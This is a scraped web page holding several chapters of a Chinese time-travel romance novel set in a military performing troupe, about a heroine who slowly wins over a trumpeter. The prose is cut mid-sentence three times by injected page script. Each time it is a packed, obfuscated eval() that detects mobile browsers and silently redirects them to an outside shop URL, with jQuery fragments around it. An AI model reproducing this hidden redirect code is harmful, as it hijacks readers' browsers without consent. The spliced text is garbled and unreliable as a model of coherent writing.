$(''.inform'').remove();
$(''#content'').append(''
冲到头顶,他放下小号,站起身:“你没事就走,我要练号,没空陪你演戏。”
兆悦从没被人这么凶过。
她本是想来缓和关系,想把人拉回来,却换来一顿冷嘲热讽。她不再多说一个字,猛地拉开门,重重摔上。
门板震动的声音,在空旷的排练厅里久久不散。
从此两人像是冷战。
第二天食堂吃饭,刘予照旧来找兆悦,坐下就和郝淑雯勾肩搭背,说说笑笑。
陈灿坐在隔一桌的位置,一口饭咽得艰难,脸色沉得吓人。
他放下筷子,阴阳怪气地开口:“有的人真是人缘好,走到哪里都有人陪着,也不怕避嫌。”
声音不大不小,刚好能让两边都听见。
刘予和郝淑雯对视一眼,没听出话里有话,只当他是心情不好。
郝淑雯性子直,被人这么说,心里不痛快,放下碗直接起身,几步走到陈灿桌边,伸手狠狠拐了一下他的胳膊。
“你阴阳怪气说谁呢?”
陈灿看了一眼某人,随即偏头嗤笑一声,语气又冲又欠:“说谁谁心里清楚。”
“我不清楚!”郝淑雯瞪他,“你今天吃了枪药?”
“我吃没吃枪药,不关你的事。”陈灿抬眼。
郝淑雯气得要骂,被走过来的萧穗子拉走。
陈灿看着兆悦依旧平静无波的侧脸,心里更堵。
他就是要故意闹给她看,就是要让她知道,她看重的那个人,有多不专一。
可兆悦越平静,他心里越酸,越闷,越觉得自己像个跳梁小丑。
他狠狠嚼着嘴里的饭,心里只剩一句:什么眼光,居然看上这种人。
夜里,陈灿又去了排练厅,没吹号,只是趴在窗沿上发呆。
直到看见兆悦独自走过,他几乎是下意识冲了出去,一把拉住她的手腕,把人拽进了厅里。
“你放开我!”兆悦挣扎。
“我不放!”陈灿盯着她,又气又急,“你到底找了个什么人?他一边跟你搂搂抱抱,一边跟郝淑雯形影不离,这种脚踩两条船的人,你也看得上?”
兆悦愣住:“你说的是谁?”
陈灿把刘予的事,一字不落全说了出来。
兆悦沉默片刻,终于明白,所有的冷战与火气,全是一场误会。
她没有直接解释,只是轻轻垂下眼,声音放软,带着几分委屈:“你一定要这么凶我吗?昨天你已经很凶了,我有点害怕。”
她难得露出这般无措的样子,陈灿的心瞬间软了,火气散得无影无踪,只剩下满心的别扭与无措。
“我……你……”他张了张嘴,最后只憋出一句,“我冷静一下。”
抓起小号,他几乎是落荒而逃。
兆悦愣住了,站在原地,最后轻轻叹了口气,玩脱了,早知道一开始就说清楚。
第二天,刘予再来队里找郝淑雯几人玩闹,陈灿忍了一上午,终究没忍住,对着两人冷嘲热讽,话里话外都在指责他们不懂分寸。
刘予多机灵,一看陈灿盯着兆悦的眼神,瞬间全都明白了。
当晚,兆悦故意带着刘予提前来到排练厅,坐在钢琴前,假装要弹曲子。
陈灿推门进来,看见两人坐在一起,脸色瞬间沉了:“我是不是打扰你们了?”
刘予立刻站起身,冲兆悦挤了挤眼睛,转身就走:“你们聊,我回宿舍找穗子她们!”
陈灿眉头一皱,脱口而出:“你一个男的,晚上去女生宿舍?”
刘予脚步一顿,哈哈大笑。
兆悦轻轻开口:“现在女兵营的纪律都这么松了吗?半夜还能随便乱跑。”
“管我们的张大妈八点就睡了,谁管我!”刘予挥挥手,跑远了。
排练厅里瞬间安静下来。
陈灿僵在原地,大脑一片空白。
女兵营。
所有的冷战,所有的委屈,所有的嘲讽,所有的赌气……
从头到尾,都是他一个人,误会了一场。
16. 琴音
陈灿缓缓低下头,耳根一点点发烫,从脸颊烧到脖子,难堪又愧疚。
他抬眼,看向站在钢琴旁的兆悦。
姑娘安安静静站在那儿,就那样看着他,眼神澄澈,却让他瞬间手足无措。
“我……”陈灿张了张嘴,声音干涩,第一次在她面前说不出流利的话,“我误会了。”
兆悦没说话。
“我真以为她是男生。”陈灿往前走了一步,语气急了点,带着笨拙的解释,“我看她跟你那么亲近,又跟郝淑雯天天勾肩搭背,我就……我就以为她跟你关系不一般,以为是脚踩两条船。”
他越说越乱,越说越慌,平日里那点游刃有余,此刻半点不剩。
“我不是故意凶你,我就是……”他卡了壳,找不到合适的词,最后只能老老实实低下头,“我错了。”
排练厅里依旧安静。
兆悦依旧没说话,就那样看着他。
没有笑,没有怒,没有原谅,也没有不原谅。
就那样安安静静望着他,像在看一个做错事的孩子,又像在做一场无声的审判。
陈灿的心一下子提了起来。
她不说话,他反而更慌。
是还在生气?
是觉得他不可理喻?
是不想理他了?
还是……已经懒得跟他计较了?
他从来没有这么慌过。
对别人,他能开玩笑,能斗嘴,能随意拿捏分寸,可一对上兆悦,他所有的镇定都荡然无存。
“你……”陈灿喉结动了动,“你还生气吗?”
兆悦终于轻轻动了一下眼睫,声音轻轻的,软软的,带着一点没散去的委屈:“可是你前几天都好凶我噢。”
就这一句话,陈灿整个人都僵住。
心尖像被什么轻轻撞了一下,又软又酸,所有的火气、别扭、自尊,在这一刻全都化成了手足无措。
他想再说点什么,又怕说错。
想道歉,又觉得道歉太轻。
他就站在她面前,一米八的个子,此刻像个被罚站的少年,手足无措,眼神慌乱,连呼吸都放轻了。
两人面对面站着,距离不远不近。
目光撞在一起,谁都没有先移开。
窗外的夜色深了,月光从玻璃窗透进来,落在两人之间,安静得能听见彼此的心跳。
兆悦看着他慌张无措的样子,心里轻轻叹了口气。
推拉到这一步,也该拉一把了。
她沉默了片刻,先打破了安静,声音依旧轻轻的:“明天起,我要到乐队这边来了。”
陈灿猛地抬眼。
瞳孔微微一缩,脑子一瞬间空白。
她……要来乐队?
他张了张嘴,竟然一个字都吐不出来。
他忽然清晰地意识到,自己对兆悦,和对所有人都不一样。
对郝淑雯,对萧穗子,对队里其他女生,他都能轻松说笑,随意打闹,甚至带着点漫不经心的逗弄。
可一到兆悦面前,他就变得笨拙、慌张、嘴笨、连一句正常的话都说不顺畅。
兆悦看他半天不说话,眼珠轻轻一转,话语故意往他心口戳:“你不开心吗?”
陈灿猛地回神,眼神还有点发直:“啊?你说什么?”
兆悦抬眼看他,声音慢了半拍,清清楚楚又添了两个字:“你不开心,我来吗?”
陈灿的脑子“嗡”的一声。
开心。
怎么可能不开心。
他开心得快笑出声。
可话到嘴边,他却结结巴巴,耳根红得一塌糊涂:“开、开心……当然开心。”
看着他难得窘迫的样子,兆悦眼底悄悄掠过一丝浅淡的笑意,很快又收了回去。
她缓缓转过身,看向一旁的钢琴,轻轻开口,解释今晚为什么会和刘予提前来这里。
“分队长跟我说,新的钢琴到了,安排我来乐队这边伴奏,让我明天直接来乐队报到。”
她顿了顿,指尖轻轻碰了一下琴键,发出一声极轻的音:“所以今晚过来,先熟悉一下。”
陈灿心里轻轻一松。
她愿意跟自己说这些,愿意讲队里的安排,愿意把接下来的打算告诉他,就说明,她没有真的怪他,更没有真的打算再也不理他。
紧绷了几天的神经,在这一刻终于缓缓松了下来,胸口那股又慌又闷的情绪,也慢慢散了。
他看着兆悦的背影,眼底重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309098|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新泛起熟悉的光亮,那点属于高干子弟的阳光与松弛慢慢回到身上。
他看着她,嘴角轻轻扬起一个弧度,声音清朗:“那我就期待一下你明天的首秀了。”
兆悦回头看他,轻轻点了下头。
“嗯。”
她顿了顿,拿起搭在琴边的外套,声音轻而平静:“时间不早了,我先走了。”
陈灿一下子愣在原地。
刚刚松下来的心,又轻轻提了一下。
他还没来得及多说几句,还没来得及好好道歉,还没来得及把心里的别扭全都讲清楚,她怎么突然就要走了。
他张了张嘴,却找不到一句能把她留下的理由。
兆悦已经转身,走到了排练厅的门口。
就在她伸手要碰门把手的那一刻,她忽然停下,轻轻回过头。月光落在她的眼睫上,柔而亮。
她看着他,声音轻轻的,带着一点没散的委屈,一字一句清晰地落进他心里:“你前两天不理我,还凶我,我都记着呢。”
“我还没有原谅你。”
话音落下,兆悦轻轻推开门,身影没入夜色之中。门被轻轻合上,排练厅里只剩下陈灿一个人,站在月光与钢琴之间,久久没有动弹。
小号靠在墙角,琴键泛着浅淡的光,空气里还残留着她身上淡淡的气息。
陈灿缓缓抬手,按住自己的心口,那里跳得又快又软,带着说不清的甜与涩。
他低头,轻轻笑了一声,耳根的红意还没褪去。
记着就记着吧,没原谅也没关系。
反正明天,她就会出现在乐队里。
反正往后的日子还长,他有的是时间,慢慢道歉,慢慢哄,慢慢把她心里那点委屈,一点点揉开。
窗外的风轻轻拂过,带着夜里的凉意,可陈灿的心里,却暖得一塌糊涂。
这场荒唐的误会,闹得两人冷战多日,可也正是这场误会,让他看清了自己的心。
陈灿走到钢琴旁,轻轻碰了一下她刚刚按的那个琴键,一声轻响在空荡的大厅里散开。
他望着门口的方向,眼底的笑意藏不住。
明天,快点来吧。
他等着她的首秀,也等着,她慢慢靠近的每一天。
17. 春近
刘予要归队的前一天晚上,拉着兆悦在营区的小路上走了一圈又一圈。晚风微凉,树影婆娑,两个姑娘手挽着手,像从前无数个日夜那样,无话不谈。
“我走之后,你可得照顾好自己。”刘予拍了拍她的手背,语气里全是不舍,“别总端着那副高冷样子,该笑就笑,该闹就闹。”
兆悦轻轻点头,鼻尖微微发酸。在这文工团里,她和谁都能维持体面,却只有在刘予面前,能彻底卸下所有防备,不用算计,不用推拉,不用伪装。
“知道了。”她轻声应着。
刘予却忽然停下脚步,转过身盯着她,眼神认真得很:“我跟你说正经的,陈灿那小子,我看是喜欢你的。”
兆悦心头微顿,没接话。
“我托我们部队跟文工团熟的男兵打听过了,”刘予压低声音,语气里带着几分笃定,“他家背景不一般,底子厚,人也不算坏,对你是真心上了心的。你别总吊着,也别太端着,该把握住就把握住。”
兆悦垂了垂眼,嘴角勾起一抹浅淡的笑意,随口应付:“好,我知道了,听你的。”
她嘴上应得轻快,心里却一片清明。
陈灿的背景,她比谁都清楚。昆明军区副司令的儿子,根正苗红,前途无量,这也是她最初将他定为目标的原因——安稳,可靠,能给她一个不必颠沛流离的后路。
可一路走来,她心里却渐渐多了几分迷茫。
她想要的从不止一份安稳的婚姻,她放不下笔,忘不了自己真正想做的事。靠近陈灿,更多是为自己铺路,可真到一步步走近,她却分不清,自己对他究竟有几分真心,几分算计。
她不想太早确定关系,更不想把自己困在一段婚姻里。
更何况,随着和萧穗子日渐熟悉,她敏锐地察觉到,萧穗子看向陈灿的眼神里,总藏着一丝不易察觉的关注。那是少女隐秘的心动,安静,克制,却真切存在。
她更怕的是剧情的惯性。
穿越前拉片看电影,她清清楚楚记得,原著里陈灿最终和郝淑雯走到了一起。哪怕她现在拼命改变,拼命靠近,万一到最后,命运还是会把一切拉回原路呢?
她付出了心思,推拉了许久,最后却只是一场徒劳。
这些心事,她没法对刘予说,只能藏在心底,化作一层淡淡的沉郁。
刘予走的那天,兆悦去送了。皮卡扬起尘土,刘予探出头挥手,身影越来越远,直到彻底消失在路的尽头。兆悦站在原地,心里空落落的。
宿舍里,沈一娣对她亲近,其他舍友相处也算和睦,就连林丁丁,面上也维持着客气友好。
可没有人能像刘予那样,让她完全放松,不必有任何顾忌。那份淡淡的失落,一直萦绕在她心头,散不去,也挥不开。
当天下午,分队长便正式安排兆悦到乐队进行钢琴伴奏。
新钢琴亮洁如新,琴键干净规整。兆悦走到琴前坐下,抬手落下的瞬间,流畅优美的旋律倾泻而出。
指尖跳跃,音律婉转,整首曲子一气呵成,没有半分卡顿。
排练厅里瞬间安静下来,随即响起低低的赞叹声。
所有人都看向她,眼里是毫不掩饰的惊艳与认可。
兆悦微微垂眸,却没有错过乐队方向那道灼热的目光。
陈灿就站在不远处,握着小号,眼神直直落在她身上,惊艳、欣赏、赞叹,混着一丝不易察觉的骄傲,毫无保留地映在眼底。
兆悦心里轻轻一动。
她早看出来了,陈灿骨子里是慕强的。
他欣赏优秀的人,会被能力出众的人吸引。她弹得一手好琴,舞跳得拔尖,本就足够耀眼,这也是他始终被她吸引的原因之一。
自此,两人便整日待在同一个空间里。
排练、休息、调试乐器,抬头不见低头见,相处的时间一下子多了起来。
陈灿会时不时看向钢琴旁的她,她也会在不经意间与他对视,目光相撞,又各自不动声色地移开。
暧昧在空气里悄悄蔓延,却始终停留在眉眼之间,没有再往前多走一步。
私下偶遇,会有一两句带着试探的对话;人群之中,会有暗戳戳的眼神往来。
瞒着所有人的拉扯,带着几分隐秘的刺激,却始终差了一把火候。
不过几日,便到了新年。
文工团不放假,所有人都留在团里过年。
但难得清闲几日,大家忙着大扫除,也商量着结伴出门走走,热闹归热闹,兆悦却始终觉得,她和陈灿之间,少了一个推进关系的契机。
彼此有好感,有拉扯,有心动,可远远没到非你不可的地步。
像是隔着一层薄薄的纸,谁都没有先伸手捅破的打算。
兆悦心里难免苦恼。
她怕时间来不及,怕剧情的力量太强,怕等到文工团变动的那一天,一切还是回到原点,陈灿依旧会走向郝淑雯。
可她又不甘心。
陈灿的家世、外形、性格,都是她最中意的类型,越是有难度,她心底那点胜负欲就越强烈。
她不信自己争不过既定的剧情,不信自己拿不下这个人。
大扫除那天,机会终于来了。
文工团上下全员出动,擦窗、扫地、整理道具,忙得热火朝天。兆悦拿着抹布擦窗台,眼角余光一直留意着不远处的陈灿。
她心里清楚,两人之间一直缺少肢体接触。
忽远忽近,眉眼官司,终究不如一次实实在在的靠近。
想要推进关系,必须跨出这一步。
兆悦不动声色地酝酿了片刻,忽然身子一软,手扶着额头,脚步虚浮,像是瞬间脱力一般,缓缓往下倒去。
“兆悦!”一声急促的呼喊响起,陈灿几乎是立刻冲了过来。
他二话不说,弯腰稳稳将她打横抱起,手臂收紧,动作急切又慌乱。
“你怎么样?是不是头晕?我送你去卫生队!”
兆悦顺势靠在他的胸膛,能清晰地听见他急促有力的心跳,鼻尖萦绕着他身上干净的皂角混着阳光的味道。
她闭着眼睛,一动不动,装作虚弱晕厥的样子。
陈灿抱着她,脚步飞快,往卫生队的方向赶。
一路上,他眉头紧锁,满脸担忧,连呼吸都带着急切。
走到僻静无人的小路,兆悦算着时机,悄悄掀开一点眼缝,偷偷看了他一眼。
就是这一眼,让陈灿瞬间僵住。
他怀里的人睫毛轻颤,眼神清澈,哪里有半分晕厥的样子,分明是装的。
紧绷的心弦一下子松了下来,慌乱褪去,取而代之的是一种异样的燥热。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309099|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他这才后知后觉地感受到,怀里的人有多轻、有多软。
手臂贴着她的腰,触感温热柔软;她的发丝轻轻扫过他的手腕,带着淡淡的香气;她的手无意识地轻搂着他的胳膊,指尖温软,像一片羽毛轻轻拂过心尖。
陈灿的耳根一点点红了。
他稳住心神,没有立刻把她放下,只是脚步慢了下来,低头看着她,声音带着几分无奈又几分好笑:“你装的?”
兆悦也不装了,抬手轻轻搂住他的脖子,声音软软的,带着点撒娇的意味:“我不想干活嘛。”
她不说自己是故意要他抱,只拿躲避劳动当借口,留足了进退的余地。
陈灿无奈地笑了一声,抱着她走到路边的木椅旁,轻轻将她放下。
“你这是逃避义务劳动。”他故意板起脸,语气却没有半分责备。
兆悦抬起双手,将两个手腕紧紧贴在一起,伸到他面前,眼底带着狡黠的笑意:“那你把我抓走好了。”
阳光落在她白皙的手腕上,纤细小巧。
陈灿心头一热,再也按捺不住,伸手轻轻握住了她叠在一起的双腕。
他一只手便能稳稳将她的手腕全部包住,掌心的温度透过肌肤传过去,带着清晰的触感。
“那我可就抓了。”他低声开口,眼神专注地落在她脸上。
就在这时,树梢上一群鸟忽然扑棱着翅膀飞起,发出一阵声响。
陈灿像是受惊一般,猛地松开手,飞快地收回了自己的手,耳根红得快要滴血。
两人对视一眼,又同时慌乱地移开目光,假装刚刚的一切都没有发生。
只有陈灿自己知道,他的手心烫得厉害,那柔软的触感,像是烙在了皮肤上,久久散不去。
回到排练厅,大扫除已经接近尾声。
有人喊着晚上大年三十,大家就在排练厅聚一聚,打牌、聊天、凑在一起守岁。在这个年代,没有太多娱乐方式,一群年轻人聚在一起,便是最好的热闹。
自从那次隐秘的肢体接触后,兆悦和陈灿之间,悄悄多了一层心照不宣的默契。
他们不再只在暗处对视,开始在人群里偶尔说上几句话。在旁人看来,他们只是关系渐渐熟络的队友,只有彼此知道,那层窗户纸,已经快要被捅破。
队里也就杨铮看得最清楚,陈灿是彻底栽在了兆悦身上。
从前郝淑雯主动找陈灿斗嘴、拌嘴,他总能你来我往,闹得热闹;可现在,郝淑雯再找他说话,他只是淡淡应几句,不再接茬,更不会主动逗闹,冷淡得十分明显。
新年那几天,家书和包裹陆续寄到文工团。
大家忙着拆信、看家书、给家里回信,分享着家乡的吃食与消息。
年代不算太平,新年也过得简单朴素,却也藏着年轻人独有的热闹。
年一过,春天便悄然而至。
寒风渐渐散去,气温一点点升高,身上的厚衣服一件件褪去,换上了轻薄的衣装。树枝抽出新芽,空气里多了几分温润的气息。
文工团的训练重新开始,旋律与舞步再次填满日常。
兆悦坐在钢琴前,指尖落在琴键上,抬头看向不远处的陈灿。
少年站在春光里,眉眼明亮,正不经意间看向她。
目光相撞,春风微动。
18. 春动
春风一过山岗,营区里的枯树便抽了新绿,暖日铺洒下来,连空气都变得软乎乎的。
万物复苏,连带着文工团里年轻的心,也跟着一并活跃起来,空气里飘着说不清道不明的躁动。
兆悦站在练功镜前,微微喘着气,心里却藏着几分难以言说的烦躁。
她在现实世界里本就二十多岁,比这里的姑娘们多了数年的心事与成熟,比谁都清楚,成年人的亲密与靠近,从来都是感情里最自然的一部分。
可她和陈灿,如今还停留在似有若无的拉扯里——人前疏远,人后试探,明明彼此心动,却被时代规矩、团里的目光、身份的界限牢牢捆着。
这里没有私密的角落,没有放任的余地,一举一动都在众人眼底,连多说一句话都要斟酌再三,更别提任何亲近的举动。
她明明离他很近,却又像隔着一道无法跨越的墙,这种不上不下的状态,让一向掌控节奏的她,第一次觉得束手无策。
直到某天,她忽然在心里摸到了一个隐秘的“门道”——人越少,越拘束,越不敢靠近;可人越多,越拥挤,反而越安全。
喧嚣是最好的掩护,人群是最顺理成章的理由。
真正意义上入春的那一天,天气暖得彻底。
文工团上下第一次脱下厚重的军大衣与棉服,换上了轻薄的春装,每个人的眉眼都显得轻快了不少。
团里接到新任务,要排一支舞蹈去隔壁市参加活动,场地条件有限,钢琴无法搬运,兆悦便被重新调回了舞蹈队。
练功房里热气升腾,大家连春装外套都脱了,只穿着贴身单薄的练功服,线条利落,肌肤透着运动后的薄红。
恰逢分队长的第一个孩子出生,分队长抱着新生儿的照片赶来,兜里装满了喜糖,一进门就引来满屋子的欢呼。
照片在人群里传来传去,喜糖纸哗啦啦作响,姑娘小子们挤在一起,探头探脑,热闹得人头攒动。
兆悦被挤在人群中间,身前身后都是人,正低头看着手里的糖,忽然感觉到一道熟悉的气息贴了过来。
是陈灿。
他没有说话,没有刻意打招呼,只是像被人群推着一般,自然而然地站到了她的身后。
但没想到,两人都穿着单薄的练功衣,没有任何厚衣物阻隔,推推搡搡之间,两人前胸贴着后背,毫无缝隙。
少年胸膛的温度透过薄薄的布料烧过来,滚烫、清晰、带着年轻有力的心跳,一下一下,撞在兆悦的后背。
她甚至能感觉到他呼吸时胸腔轻微的起伏,气息落在她的发顶与耳后,温温热热,撩得人耳根发麻。
没有牵手,没有对视,没有一句私语。
只是最寻常不过的人潮拥挤,却让两人同时僵住了呼吸。
肌肤相贴的灼热,布料摩擦的轻痒,彼此气息的缠绕,在喧闹的人群里酿成一股隐秘的躁动。
照片上的婴儿长什么样子,喜糖是甜是香,周围的笑闹声说了什么,两人全都浑然不觉,世界仿佛被缩小到只剩彼此紧贴的身体,和心跳共振的声响。
直到人群散开,陈灿才不动声色地往后退了半步,恢复了平常的样子。
兆悦也若无其事地剥开糖纸,把糖果放进嘴里,甜意散开,却远不及心口那股滚烫的万分之一。
从那天起,两人心照不宣地迷上了这种隐秘的靠近。
只要一遇上人群聚集、拥挤热闹的场合,他们便会十分默契地向彼此靠近,自然而然地贴在一起,肩抵着肩,前胸贴着后背,用最合理的拥挤,做最心动的接触。
旁人谁也看不出异样,只当是一群年轻人凑在一起热闹,只有他们自己知道。
排练的时间不长,任务却抓得紧,动作、队形、配乐一遍遍打磨,没几天便到了出发的日子。
文工团一共八十多人,分乘几辆卡车与皮卡,浩浩荡荡往隔壁市去。
年轻的少男少女们丝毫不在意路途颠簸,车厢里热闹得像开锅一般。有人凑在一起打牌,有人低声聊天,有人哼着歌,笑声此起彼伏,连风刮过耳边都带着轻快。
陈灿故意选了兆悦身后稍侧的位置坐下。
不远不近,只要她稍稍往后一靠,便能落入他的气息范围,清晰地感受到他呼吸的距离。
兆悦脊背挺直,却没有刻意往前挪开,就那样安安静静地坐着,像什么都没察觉。
山路蜿蜒,车子一路颠簸摇晃,车厢里的人跟着左摇右摆。
两人的身体便时而紧贴,时而轻离,每一次摇晃带来的触碰,都像一片羽毛轻轻划过心尖。没有人主动躲开,没有人刻意拉开距离,仿佛一切都只是车子颠簸的巧合。
不知是谁起了头,车厢里响起了整齐的歌声。
年轻的声音混着春风,飘向远方。
兆悦跟着轻轻哼唱,眼角的余光却能感觉到身后那道灼热的目光,身体每一次相贴的温度,都清晰地烙在肌肤上。
车子摇摇晃晃向前,春风穿过车厢,吹动两人的发梢。
舞台表演格外顺利。
舞步齐整,配乐到位,台下掌声接连不断,带队的领导上台时,脸上全是藏不住的笑意。所有人都松了口气,嬉闹着收拾道具,连夜便要乘车返回营区。
夜色彻底沉下,窗外伸手不见五指。
回程的山路比来时更崎岖,坑洼不断,弯道接连,车厢里很快安静下来。
折腾了一整天,队员们大多靠在车板上昏昏欲睡,呼吸轻浅,只剩下车子引擎的轰鸣和车轮碾过碎石的声响。
兆悦靠在车厢最内侧的位置,睡意很浅。
春风再软,也压不住心底翻涌的燥热。年轻的身体绷着,青春滚烫的气息在狭小的空间里弥漫。
她太久没有这样贴近一个人,太久没有感受过毫无阻隔的温度,此刻憋得胸口发闷,急需一点实实在在的触碰来汲取安稳。
陈灿就坐在她隔壁的位置,中间空着一条窄窄的板凳。
他本来就困,眼皮重得往下坠,原本是想借着车子颠簸的由头,让兆悦能自然靠过来,在他身边睡一会儿。
可车子晃来晃去,他自己反倒先被颠得昏昏欲睡,脑袋一点一点,意识半梦半醒。
就在他快要彻底睡过去的时候,车身猛地一震——一个极急的弯路,车轮碾过深坑,整辆皮卡狠狠一歪。
几个睡得浅的队员被晃得哼唧一声,砸吧砸嘴,又歪着头睡了回去,没人在意这阵突如其来的颠簸。
谁也没有看见,车厢最深处,兆悦借着这股力道,身体故意一斜,朝着旁边空着的板凳倒了下去。
动作自然得像真的被晃倒,没有半分刻意。
她一倒,旁边本就睡得不稳的陈灿瞬间失去平衡,身体也跟着往前一倾。
他下意识伸手去撑,却正好撑在了兆悦身体两侧的板凳缝隙间。
一瞬间,两人的位置彻底颠倒。
陈灿整个人撑在她上方,低头便能看见她近在咫尺的脸。
睡意瞬间全无,脑子“嗡”的一下,彻底清醒了。
兆悦被他圈在臂弯与车厢板之间,动弹不得,两人之间连一拳的距离都没有。
她身上淡淡的皂角香混着发丝的软香,一股脑涌进他鼻尖;他胸膛的热度压下来,隔着单薄的春装,清晰地贴住她的肩膀与腰侧,年轻有力的心跳撞在她耳边,滚烫得吓人。
黑暗里,谁都不敢出声。
只有彼此急促又轻浅的呼吸,缠在一起,在颠簸的车厢里,酿成一团化不开的潮热。
兆悦睫毛轻颤,没有推,也没有靠得更近,就那样安静地躺在他身下,任由他撑着。
欲拒还迎,不动声色,把所有的主动权,都丢给了这个被意外惊得彻底清醒的少年。
黑暗里,陈灿的呼吸乱得不成样子。
他能看见兆悦轻颤的睫毛,能闻到她发间淡淡的气息,臂弯里的柔软,让他整根神经都绷着。
他控制不住地低下头。
两人距离极近,呼吸缠在一起,他几乎要碰到她的额角。
兆悦在这时抬手,轻轻抵在他肩膀。
力道很轻,却很明确,拦住了他所有越界的动作。
陈灿的动作猛地顿住。
所有不受控的靠近,在这一挡之间,瞬间清醒。
是他越界了。
是他失了分寸。
他喉结滚了一下,声音压得极低,带着慌乱的歉意:“对不起。”
他撑着手,立刻想直起身,拉开两人之间的距离。
可刚一动,手腕忽然被轻轻攥住。
是兆悦。
她没说话,只是指尖扣着他的衣摆,力道不大,却让他再也无法起身。
陈灿僵在半空,进也不是,退也不是。
长这么大,他第一次对一个人束手无策。
他无奈又心痒,几乎是带着点哀求,凑到她耳边,气息轻轻扫过她的耳廓,声音哑得厉害:“你别再这样折磨我了。”
他说的是她忽近忽远、若即若离,让他心乱如麻。
可黑暗里,兆悦会错了意,只当他是嫌她纠缠、烦她打扰睡觉。
一股闷气涌上来,她攥着他衣摆的手紧了紧,抬手轻轻捶了一下他的胸膛,带着十足的委屈。
“你烦我就直说。”她声音又轻又闷。
陈灿一下子懵了,愣了几秒才反应过来她误会了。
他又急又好笑,贴着她耳朵,一字一顿说得认真:“我烦谁都不会烦你。”
“我是怕……我再这样下去,真的要撑不住了。”
话音落下,兆悦的指尖明显僵了一下。
她没有再推他,也没有再闹脾气,身体的紧绷,一点点松了下来。
陈灿的心猛地一跳,几乎要撞出胸腔。
他从她的沉默里,读出了那句没说出口的不抗拒。
一个念头疯了一样往上涌。
他想抱她。
就一次,把她搂在怀里。
他手臂微微收紧,缓缓放低身子,动作轻得怕惊扰到她。
距离越来越近,她的气息就在耳边,体温透过布料烫着他的肌肤。
就在他快要碰到她的那一刻——
“哐——!”
卡车猛地碾过一个大坑,车身剧烈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309100|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一颠。
陈灿再也撑不住平衡,整个人结结实实地、毫无保留地,朝她压了下去。
不是撑着,不是靠近。
是整个人,将她完完整整地抱在了怀里。
胸膛紧贴,腰腹相贴,连呼吸都缠在了一起。
他能清晰感受到她身体的柔软、细微的颤抖,还有那一下下,和他共振的心跳。
兆悦轻吸了一口气,下意识抬手,抓住了他后背的衣服。
指尖攥得很紧,像是抓住了什么不敢放的东西。
陈灿僵在她身上,连大气都不敢喘。
黑暗里,他声音又低又哑,带着慌乱,又带着一丝不易察觉的贪恋:“这……我不是故意的。”
兆悦没有说话,也没有推开他。
只是放在他后背的手,轻轻蜷了蜷,把他的衣服攥得更紧了一点。
卡车依旧在黑夜里颠簸,山路崎岖,车轮沙沙碾过碎石。
身边是队友沉睡的呼吸,远处是模糊的山影,没有人知道,在这车厢最隐蔽的角落里,两个年轻的身体紧紧相贴,连心跳都烫得吓人。
陈灿慢慢放松了手臂,却没有起身。
他只想就这样抱着她。
可下一秒,怀里的人却轻轻动了。
兆悦没有用力,只是用了很轻的力道,缓缓将他推开,随即坐直了身子。
那一推不重,却像一块凉石砸在陈灿心上。
他僵在原地,手臂还维持着环抱的姿势,空气里瞬间少了她的温度,只剩下满心的落空与涩意。
是了。
是他唐突了。
她不过是没推开,他便真以为可以这样抱着她,忘了这是在车厢里,忘了周围全是队友,忘了她从来都不是会放任亲密的人。
陈灿垂下眼,手指微微蜷缩,心底一遍遍地劝自己:算了,不抱就不抱吧。
是自己越界了,是自己心急了。
她已经够迁就他了,不该再贪心。
他低着头,耳尖还在发烫,却再也不敢往她那边看一眼,连呼吸都放得极轻。
兆悦没有说话,只是微微靠在冰冷的车厢板上,指尖安静地整理着被蹭乱的衣摆,唇瓣轻轻抿着,神色看不分明。
她静了片刻,侧耳听了一圈。
车厢里只有均匀的鼾声、车子颠簸的闷响,没有人醒,没有人动,所有人都陷在沉睡里。
确认安全后,兆悦才微微侧过头,目光落在身旁垂着头的人身上。
她没出声,只是悄悄伸出手,指尖轻轻拽了拽他的衣袖。
很轻,很小心,陈灿几乎以为是错觉。
当他发现是旁边人的动作,身子猛地一震。
他几乎是瞬间抬起头,黑暗里,眼睛亮得惊人。
他看着她,又看向自己被拽住的衣袖,心脏在胸腔里疯狂跳动,快得几乎要冲破喉咙。
明白过来的那一刻,陈灿的指尖都在颤抖。
他屏住呼吸,顺着她轻轻一拽的力道,几乎是不受控制地伸手,直接将人稳稳扣进了怀里。
这一次不再是试探,不再是犹豫。
车厢颠簸的掩护,全车沉睡的寂静,让他所有的克制瞬间崩断。
他手臂一收,牢牢将她拥在身前,胸膛紧密贴着她的脊背,整个人轻轻贴靠过去,不留半分空隙。
